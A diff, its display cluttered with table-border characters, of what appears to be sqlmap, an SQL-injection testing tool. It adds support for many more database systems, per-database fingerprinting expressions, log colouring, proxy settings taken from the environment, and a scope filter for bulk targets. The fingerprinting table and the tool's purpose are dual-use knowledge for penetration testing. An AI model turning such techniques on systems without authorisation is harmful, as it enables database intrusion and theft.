# Cookie and Host headers
|
||||||
if key.upper() == HTTP_HEADER.COOKIE.upper():
|
if key.upper() == HTTP_HEADER.COOKIE.upper():
|
||||||
cookie = value
|
cookie = value
|
||||||
|
|||||||
+6
-3
@@ -227,7 +227,7 @@ def encodeBase64(value, binary=True, encoding=None):
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
|
def getBytes(value, encoding=None, errors="strict", unsafe=True):
|
||||||
"""
|
"""
|
||||||
Returns byte representation of provided Unicode value
|
Returns byte representation of provided Unicode value
|
||||||
|
|
||||||
@@ -237,9 +237,12 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
|
|||||||
|
|
||||||
retVal = value
|
retVal = value
|
||||||
|
|
||||||
|
if encoding is None:
|
||||||
|
encoding = conf.get("encoding") or UNICODE_ENCODING
|
||||||
|
|
||||||
try:
|
try:
|
||||||
codecs.lookup(encoding)
|
codecs.lookup(encoding)
|
||||||
except LookupError:
|
except (LookupError, TypeError):
|
||||||
encoding = UNICODE_ENCODING
|
encoding = UNICODE_ENCODING
|
||||||
|
|
||||||
if isinstance(value, six.text_type):
|
if isinstance(value, six.text_type):
|
||||||
@@ -300,7 +303,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
|
|||||||
for candidate in candidates:
|
for candidate in candidates:
|
||||||
try:
|
try:
|
||||||
return six.text_type(value, candidate)
|
return six.text_type(value, candidate)
|
||||||
except UnicodeDecodeError:
|
except (UnicodeDecodeError, LookupError):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ def cachedmethod(f):
|
|||||||
>>> __ = cachedmethod(lambda *args, **kwargs: args[0])
|
>>> __ = cachedmethod(lambda *args, **kwargs: args[0])
|
||||||
>>> __(2)
|
>>> __(2)
|
||||||
2
|
2
|
||||||
>>> __ = cachedmethod(lambda *args, **kwargs: list(kwargs.values())[0])
|
>>> __ = cachedmethod(lambda *args, **kwargs: next(iter(kwargs.values())))
|
||||||
>>> __(foobar=3)
|
>>> __(foobar=3)
|
||||||
3
|
3
|
||||||
|
|
||||||
|
|||||||
+73
-1
@@ -10,20 +10,32 @@ from lib.core.enums import DBMS
|
|||||||
from lib.core.enums import OS
|
from lib.core.enums import OS
|
||||||
from lib.core.enums import POST_HINT
|
from lib.core.enums import POST_HINT
|
||||||
from lib.core.settings import ACCESS_ALIASES
|
from lib.core.settings import ACCESS_ALIASES
|
||||||
|
from lib.core.settings import ALTIBASE_ALIASES
|
||||||
from lib.core.settings import BLANK
|
from lib.core.settings import BLANK
|
||||||
|
from lib.core.settings import CACHE_ALIASES
|
||||||
|
from lib.core.settings import CRATEDB_ALIASES
|
||||||
|
from lib.core.settings import CUBRID_ALIASES
|
||||||
from lib.core.settings import DB2_ALIASES
|
from lib.core.settings import DB2_ALIASES
|
||||||
|
from lib.core.settings import DERBY_ALIASES
|
||||||
|
from lib.core.settings import EXTREMEDB_ALIASES
|
||||||
from lib.core.settings import FIREBIRD_ALIASES
|
from lib.core.settings import FIREBIRD_ALIASES
|
||||||
|
from lib.core.settings import FRONTBASE_ALIASES
|
||||||
from lib.core.settings import H2_ALIASES
|
from lib.core.settings import H2_ALIASES
|
||||||
from lib.core.settings import HSQLDB_ALIASES
|
from lib.core.settings import HSQLDB_ALIASES
|
||||||
from lib.core.settings import INFORMIX_ALIASES
|
from lib.core.settings import INFORMIX_ALIASES
|
||||||
from lib.core.settings import MAXDB_ALIASES
|
from lib.core.settings import MAXDB_ALIASES
|
||||||
|
from lib.core.settings import MCKOI_ALIASES
|
||||||
|
from lib.core.settings import MIMERSQL_ALIASES
|
||||||
|
from lib.core.settings import MONETDB_ALIASES
|
||||||
from lib.core.settings import MSSQL_ALIASES
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
from lib.core.settings import MYSQL_ALIASES
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
from lib.core.settings import NULL
|
from lib.core.settings import NULL
|
||||||
from lib.core.settings import ORACLE_ALIASES
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
from lib.core.settings import PGSQL_ALIASES
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
|
from lib.core.settings import PRESTO_ALIASES
|
||||||
from lib.core.settings import SQLITE_ALIASES
|
from lib.core.settings import SQLITE_ALIASES
|
||||||
from lib.core.settings import SYBASE_ALIASES
|
from lib.core.settings import SYBASE_ALIASES
|
||||||
|
from lib.core.settings import VERTICA_ALIASES
|
||||||
|
|
||||||
FIREBIRD_TYPES = {
|
FIREBIRD_TYPES = {
|
||||||
261: "BLOB",
|
261: "BLOB",
|
||||||
@@ -108,6 +120,28 @@ SYBASE_TYPES = {
|
|||||||
20: "image",
|
20: "image",
|
||||||
}
|
}
|
||||||
|
|
||||||
|
ALTIBASE_TYPES = {
|
||||||
|
1: "CHAR",
|
||||||
|
12: "VARCHAR",
|
||||||
|
-8: "NCHAR",
|
||||||
|
-9: "NVARCHAR",
|
||||||
|
2: "NUMERIC",
|
||||||
|
6: "FLOAT",
|
||||||
|
8: "DOUBLE",
|
||||||
|
7: "REAL",
|
||||||
|
-5: "BIGINT",
|
||||||
|
4: "INTEGER",
|
||||||
|
5: "SMALLINT",
|
||||||
|
9: "DATE",
|
||||||
|
30: "BLOB",
|
||||||
|
40: "CLOB",
|
||||||
|
20001: "BYTE",
|
||||||
|
20002: "NIBBLE",
|
||||||
|
-7: "BIT",
|
||||||
|
-100: "VARBIT",
|
||||||
|
10003: "GEOMETRY",
|
||||||
|
}
|
||||||
|
|
||||||
MYSQL_PRIVS = {
|
MYSQL_PRIVS = {
|
||||||
1: "select_priv",
|
1: "select_priv",
|
||||||
2: "insert_priv",
|
2: "insert_priv",
|
||||||
@@ -198,8 +232,21 @@ DBMS_DICT = {
|
|||||||
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
||||||
DBMS.H2: (H2_ALIASES, None, None, None),
|
DBMS.H2: (H2_ALIASES, None, None, None),
|
||||||
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
||||||
|
DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"),
|
||||||
|
DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None),
|
||||||
|
DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"),
|
||||||
|
DBMS.MCKOI: (MCKOI_ALIASES, None, None, None),
|
||||||
|
DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
|
||||||
|
DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
|
||||||
|
DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
|
||||||
|
DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
|
||||||
|
DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None),
|
||||||
|
DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
||||||
|
DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None),
|
||||||
|
DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None),
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
|
||||||
FROM_DUMMY_TABLE = {
|
FROM_DUMMY_TABLE = {
|
||||||
DBMS.ORACLE: " FROM DUAL",
|
DBMS.ORACLE: " FROM DUAL",
|
||||||
DBMS.ACCESS: " FROM MSysAccessObjects",
|
DBMS.ACCESS: " FROM MSysAccessObjects",
|
||||||
@@ -207,7 +254,32 @@ FROM_DUMMY_TABLE = {
|
|||||||
DBMS.MAXDB: " FROM VERSIONS",
|
DBMS.MAXDB: " FROM VERSIONS",
|
||||||
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
|
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
|
||||||
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
|
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
|
||||||
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL"
|
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
|
||||||
|
DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1",
|
||||||
|
DBMS.MIMERSQL: " FROM SYSTEM.ONEROW",
|
||||||
|
DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS"
|
||||||
|
}
|
||||||
|
|
||||||
|
HEURISTIC_NULL_EVAL = {
|
||||||
|
DBMS.ACCESS: "CVAR(NULL)",
|
||||||
|
DBMS.MAXDB: "ALPHA(NULL)",
|
||||||
|
DBMS.MSSQL: "DIFFERENCE(NULL,NULL)",
|
||||||
|
DBMS.MYSQL: "QUARTER(NULL)",
|
||||||
|
DBMS.ORACLE: "INSTR2(NULL,NULL)",
|
||||||
|
DBMS.PGSQL: "QUOTE_IDENT(NULL)",
|
||||||
|
DBMS.SQLITE: "UNLIKELY(NULL)",
|
||||||
|
DBMS.H2: "STRINGTOUTF8(NULL)",
|
||||||
|
DBMS.MONETDB: "CODE(NULL)",
|
||||||
|
DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
|
||||||
|
DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)",
|
||||||
|
DBMS.MCKOI: "TONUMBER(NULL)",
|
||||||
|
DBMS.PRESTO: "FROM_HEX(NULL)",
|
||||||
|
DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
|
||||||
|
DBMS.MIMERSQL: "ASCII_CHAR(256)",
|
||||||
|
DBMS.CRATEDB: "MD5(NULL~NULL)", # Note: NULL~NULL also being evaluated on H2 and Ignite
|
||||||
|
DBMS.CUBRID: "(NULL SETEQ NULL)",
|
||||||
|
DBMS.CACHE: "%SQLUPPER NULL",
|
||||||
|
DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
|
||||||
}
|
}
|
||||||
|
|
||||||
SQL_STATEMENTS = {
|
SQL_STATEMENTS = {
|
||||||
|
|||||||
+5
-8
@@ -107,9 +107,6 @@ class Dump(object):
|
|||||||
errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
|
errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
def getOutputFile(self):
|
|
||||||
return self._outputFile
|
|
||||||
|
|
||||||
def singleString(self, data, content_type=None):
|
def singleString(self, data, content_type=None):
|
||||||
self._write(data, content_type=content_type)
|
self._write(data, content_type=content_type)
|
||||||
|
|
||||||
@@ -167,10 +164,10 @@ class Dump(object):
|
|||||||
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
|
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
|
||||||
|
|
||||||
def currentDb(self, data):
|
def currentDb(self, data):
|
||||||
if Backend.isDbms(DBMS.MAXDB):
|
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
|
||||||
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB):
|
||||||
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||||
else:
|
else:
|
||||||
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
|
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||||
|
|
||||||
@@ -641,7 +638,7 @@ class Dump(object):
|
|||||||
|
|
||||||
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
|
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
|
||||||
rtable.endTransaction()
|
rtable.endTransaction()
|
||||||
logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath))
|
logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath))
|
||||||
|
|
||||||
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
|
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
|
||||||
if conf.dumpFormat == DUMP_FORMAT.HTML:
|
if conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||||
|
|||||||
+45
-1
@@ -42,9 +42,21 @@ class DBMS(object):
|
|||||||
PGSQL = "PostgreSQL"
|
PGSQL = "PostgreSQL"
|
||||||
SQLITE = "SQLite"
|
SQLITE = "SQLite"
|
||||||
SYBASE = "Sybase"
|
SYBASE = "Sybase"
|
||||||
|
INFORMIX = "Informix"
|
||||||
HSQLDB = "HSQLDB"
|
HSQLDB = "HSQLDB"
|
||||||
H2 = "H2"
|
H2 = "H2"
|
||||||
INFORMIX = "Informix"
|
MONETDB = "MonetDB"
|
||||||
|
DERBY = "Apache Derby"
|
||||||
|
VERTICA = "Vertica"
|
||||||
|
MCKOI = "Mckoi"
|
||||||
|
PRESTO = "Presto"
|
||||||
|
ALTIBASE = "Altibase"
|
||||||
|
MIMERSQL = "MimerSQL"
|
||||||
|
CRATEDB = "CrateDB"
|
||||||
|
CUBRID = "Cubrid"
|
||||||
|
CACHE = "InterSystems Cache"
|
||||||
|
EXTREMEDB = "eXtremeDB"
|
||||||
|
FRONTBASE = "FrontBase"
|
||||||
|
|
||||||
class DBMS_DIRECTORY_NAME(object):
|
class DBMS_DIRECTORY_NAME(object):
|
||||||
ACCESS = "access"
|
ACCESS = "access"
|
||||||
@@ -60,6 +72,33 @@ class DBMS_DIRECTORY_NAME(object):
|
|||||||
HSQLDB = "hsqldb"
|
HSQLDB = "hsqldb"
|
||||||
H2 = "h2"
|
H2 = "h2"
|
||||||
INFORMIX = "informix"
|
INFORMIX = "informix"
|
||||||
|
MONETDB = "monetdb"
|
||||||
|
DERBY = "derby"
|
||||||
|
VERTICA = "vertica"
|
||||||
|
MCKOI = "mckoi"
|
||||||
|
PRESTO = "presto"
|
||||||
|
ALTIBASE = "altibase"
|
||||||
|
MIMERSQL = "mimersql"
|
||||||
|
CRATEDB = "cratedb"
|
||||||
|
CUBRID = "cubrid"
|
||||||
|
CACHE = "cache"
|
||||||
|
EXTREMEDB = "extremedb"
|
||||||
|
FRONTBASE = "frontbase"
|
||||||
|
|
||||||
|
class FORK(object):
|
||||||
|
MARIADB = "MariaDB"
|
||||||
|
MEMSQL = "MemSQL"
|
||||||
|
PERCONA = "Percona"
|
||||||
|
COCKROACHDB = "CockroachDB"
|
||||||
|
TIDB = "TiDB"
|
||||||
|
REDSHIFT = "Amazon Redshift"
|
||||||
|
GREENPLUM = "Greenplum"
|
||||||
|
DRIZZLE = "Drizzle"
|
||||||
|
IGNITE = "Apache Ignite"
|
||||||
|
AURORA = "Aurora"
|
||||||
|
ENTERPRISEDB = "EnterpriseDB"
|
||||||
|
YELLOWBRICK = "Yellowbrick"
|
||||||
|
IRIS = "Iris"
|
||||||
|
|
||||||
class CUSTOM_LOGGING(object):
|
class CUSTOM_LOGGING(object):
|
||||||
PAYLOAD = 9
|
PAYLOAD = 9
|
||||||
@@ -389,3 +428,8 @@ class TIMEOUT_STATE(object):
|
|||||||
class HINT(object):
|
class HINT(object):
|
||||||
PREPEND = 0
|
PREPEND = 0
|
||||||
APPEND = 1
|
APPEND = 1
|
||||||
|
|
||||||
|
class FUZZ_UNION_COLUMN:
|
||||||
|
STRING = "<string>"
|
||||||
|
INTEGER = "<integer>"
|
||||||
|
NULL = "NULL"
|
||||||
|
|||||||
+5
-1
@@ -29,6 +29,7 @@ from lib.core.settings import VERSION_STRING
|
|||||||
from lib.core.settings import WIKI_PAGE
|
from lib.core.settings import WIKI_PAGE
|
||||||
from thirdparty.six.moves import queue as _queue
|
from thirdparty.six.moves import queue as _queue
|
||||||
|
|
||||||
|
alive = None
|
||||||
line = ""
|
line = ""
|
||||||
process = None
|
process = None
|
||||||
queue = None
|
queue = None
|
||||||
@@ -186,7 +187,7 @@ def runGui(parser):
|
|||||||
|
|
||||||
center(top)
|
center(top)
|
||||||
|
|
||||||
while alive:
|
while True:
|
||||||
line = ""
|
line = ""
|
||||||
try:
|
try:
|
||||||
# line = queue.get_nowait()
|
# line = queue.get_nowait()
|
||||||
@@ -196,6 +197,9 @@ def runGui(parser):
|
|||||||
text.see(_tkinter.END)
|
text.see(_tkinter.END)
|
||||||
text.update_idletasks()
|
text.update_idletasks()
|
||||||
|
|
||||||
|
if not alive:
|
||||||
|
break
|
||||||
|
|
||||||
menubar = _tkinter.Menu(window)
|
menubar = _tkinter.Menu(window)
|
||||||
|
|
||||||
filemenu = _tkinter.Menu(menubar, tearoff=0)
|
filemenu = _tkinter.Menu(menubar, tearoff=0)
|
||||||
|
|||||||
+73
-1
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
import re
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
from lib.core.enums import CUSTOM_LOGGING
|
from lib.core.enums import CUSTOM_LOGGING
|
||||||
@@ -20,6 +21,77 @@ LOGGER_HANDLER = None
|
|||||||
try:
|
try:
|
||||||
from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler
|
from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler
|
||||||
|
|
||||||
|
class _ColorizingStreamHandler(ColorizingStreamHandler):
|
||||||
|
def colorize(self, message, levelno):
|
||||||
|
if levelno in self.level_map and self.is_tty:
|
||||||
|
bg, fg, bold = self.level_map[levelno]
|
||||||
|
params = []
|
||||||
|
|
||||||
|
if bg in self.color_map:
|
||||||
|
params.append(str(self.color_map[bg] + 40))
|
||||||
|
|
||||||
|
if fg in self.color_map:
|
||||||
|
params.append(str(self.color_map[fg] + 30))
|
||||||
|
|
||||||
|
if bold:
|
||||||
|
params.append('1')
|
||||||
|
|
||||||
|
if params and message:
|
||||||
|
match = re.search(r"\A(\s+)", message)
|
||||||
|
prefix = match.group(1) if match else ""
|
||||||
|
message = message[len(prefix):]
|
||||||
|
|
||||||
|
match = re.search(r"\[([A-Z ]+)\]", message) # log level
|
||||||
|
if match:
|
||||||
|
level = match.group(1)
|
||||||
|
if message.startswith(self.bold):
|
||||||
|
message = message.replace(self.bold, "")
|
||||||
|
reset = self.reset + self.bold
|
||||||
|
params.append('1')
|
||||||
|
else:
|
||||||
|
reset = self.reset
|
||||||
|
message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1)
|
||||||
|
|
||||||
|
match = re.search(r"\A\s*\[([\d:]+)\]", message) # time
|
||||||
|
if match:
|
||||||
|
time = match.group(1)
|
||||||
|
message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1)
|
||||||
|
|
||||||
|
match = re.search(r"\[(#\d+)\]", message) # counter
|
||||||
|
if match:
|
||||||
|
counter = match.group(1)
|
||||||
|
message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1)
|
||||||
|
|
||||||
|
if level != "PAYLOAD":
|
||||||
|
if any(_ in message for _ in ("parsed DBMS error message",)):
|
||||||
|
match = re.search(r": '(.+)'", message)
|
||||||
|
if match:
|
||||||
|
string = match.group(1)
|
||||||
|
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||||
|
else:
|
||||||
|
match = re.search(r"\bresumed: '(.+\.\.\.)", message)
|
||||||
|
if match:
|
||||||
|
string = match.group(1)
|
||||||
|
message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||||
|
else:
|
||||||
|
match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message)
|
||||||
|
if match:
|
||||||
|
string = match.group(1)
|
||||||
|
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||||
|
else:
|
||||||
|
for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted
|
||||||
|
string = match.group(1)
|
||||||
|
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||||
|
else:
|
||||||
|
message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset))
|
||||||
|
|
||||||
|
if prefix:
|
||||||
|
message = "%s%s" % (prefix, message)
|
||||||
|
|
||||||
|
message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch
|
||||||
|
|
||||||
|
return message
|
||||||
|
|
||||||
disableColor = False
|
disableColor = False
|
||||||
|
|
||||||
for argument in sys.argv:
|
for argument in sys.argv:
|
||||||
@@ -30,7 +102,7 @@ try:
|
|||||||
if disableColor:
|
if disableColor:
|
||||||
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
||||||
else:
|
else:
|
||||||
LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout)
|
LOGGER_HANDLER = _ColorizingStreamHandler(sys.stdout)
|
||||||
LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False)
|
LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False)
|
||||||
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False)
|
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False)
|
||||||
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False)
|
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False)
|
||||||
|
|||||||
+27
-9
@@ -121,6 +121,7 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
|
|||||||
from lib.core.settings import NULL
|
from lib.core.settings import NULL
|
||||||
from lib.core.settings import PARAMETER_SPLITTING_REGEX
|
from lib.core.settings import PARAMETER_SPLITTING_REGEX
|
||||||
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
|
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
|
||||||
|
from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES
|
||||||
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
|
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
|
||||||
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
|
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
|
||||||
from lib.core.settings import SUPPORTED_DBMS
|
from lib.core.settings import SUPPORTED_DBMS
|
||||||
@@ -330,8 +331,13 @@ def _setRequestFromFile():
|
|||||||
infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
|
infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
target = next(parseRequestFile(conf.secondReq, False))
|
try:
|
||||||
kb.secondReq = target
|
target = next(parseRequestFile(conf.secondReq, False))
|
||||||
|
kb.secondReq = target
|
||||||
|
except StopIteration:
|
||||||
|
errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq
|
||||||
|
errMsg += "does not contain a valid HTTP request"
|
||||||
|
raise SqlmapDataException(errMsg)
|
||||||
|
|
||||||
def _setCrawler():
|
def _setCrawler():
|
||||||
if not conf.crawlDepth:
|
if not conf.crawlDepth:
|
||||||
@@ -341,7 +347,7 @@ def _setCrawler():
|
|||||||
if conf.url:
|
if conf.url:
|
||||||
crawl(conf.url)
|
crawl(conf.url)
|
||||||
elif conf.requestFile and kb.targets:
|
elif conf.requestFile and kb.targets:
|
||||||
target = list(kb.targets)[0]
|
target = next(iter(kb.targets))
|
||||||
crawl(target[0], target[2], target[3])
|
crawl(target[0], target[2], target[3])
|
||||||
|
|
||||||
def _doSearch():
|
def _doSearch():
|
||||||
@@ -419,6 +425,9 @@ def _setBulkMultipleTargets():
|
|||||||
|
|
||||||
found = False
|
found = False
|
||||||
for line in getFileItems(conf.bulkFile):
|
for line in getFileItems(conf.bulkFile):
|
||||||
|
if conf.scope and not re.search(conf.scope, line, re.I):
|
||||||
|
continue
|
||||||
|
|
||||||
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
|
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
|
||||||
found = True
|
found = True
|
||||||
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
|
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
|
||||||
@@ -670,7 +679,7 @@ def _setDBMS():
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
conf.dbms = conf.dbms.lower()
|
conf.dbms = conf.dbms.lower()
|
||||||
regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])), conf.dbms, re.I)
|
regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join(SUPPORTED_DBMS)), conf.dbms, re.I)
|
||||||
|
|
||||||
if regex:
|
if regex:
|
||||||
conf.dbms = regex.group(1)
|
conf.dbms = regex.group(1)
|
||||||
@@ -1139,7 +1148,7 @@ def _setSafeVisit():
|
|||||||
conf.safeUrl = "http://%s" % conf.safeUrl
|
conf.safeUrl = "http://%s" % conf.safeUrl
|
||||||
|
|
||||||
if (conf.safeFreq or 0) <= 0:
|
if (conf.safeFreq or 0) <= 0:
|
||||||
errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features"
|
errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
def _setPrefixSuffix():
|
def _setPrefixSuffix():
|
||||||
@@ -1729,8 +1738,7 @@ def _cleanupOptions():
|
|||||||
conf.__setitem__(_, True)
|
conf.__setitem__(_, True)
|
||||||
|
|
||||||
if conf.noCast:
|
if conf.noCast:
|
||||||
for _ in list(DUMP_REPLACEMENTS.keys()):
|
DUMP_REPLACEMENTS.clear()
|
||||||
del DUMP_REPLACEMENTS[_]
|
|
||||||
|
|
||||||
if conf.dumpFormat:
|
if conf.dumpFormat:
|
||||||
conf.dumpFormat = conf.dumpFormat.upper()
|
conf.dumpFormat = conf.dumpFormat.upper()
|
||||||
@@ -1759,6 +1767,13 @@ def _cleanupOptions():
|
|||||||
conf.binaryFields = conf.binaryFields.replace(" ", "")
|
conf.binaryFields = conf.binaryFields.replace(" ", "")
|
||||||
conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields)
|
conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields)
|
||||||
|
|
||||||
|
envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES)
|
||||||
|
if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None:
|
||||||
|
debugMsg = "using environment proxy '%s'" % envProxy
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
conf.proxy = envProxy
|
||||||
|
|
||||||
if any((conf.proxy, conf.proxyFile, conf.tor)):
|
if any((conf.proxy, conf.proxyFile, conf.tor)):
|
||||||
conf.disablePrecon = True
|
conf.disablePrecon = True
|
||||||
|
|
||||||
@@ -1906,7 +1921,9 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.forcePartialUnion = False
|
kb.forcePartialUnion = False
|
||||||
kb.forceThreads = None
|
kb.forceThreads = None
|
||||||
kb.forceWhere = None
|
kb.forceWhere = None
|
||||||
|
kb.forkNote = None
|
||||||
kb.futileUnion = None
|
kb.futileUnion = None
|
||||||
|
kb.fuzzUnionTest = None
|
||||||
kb.heavilyDynamic = False
|
kb.heavilyDynamic = False
|
||||||
kb.headersFile = None
|
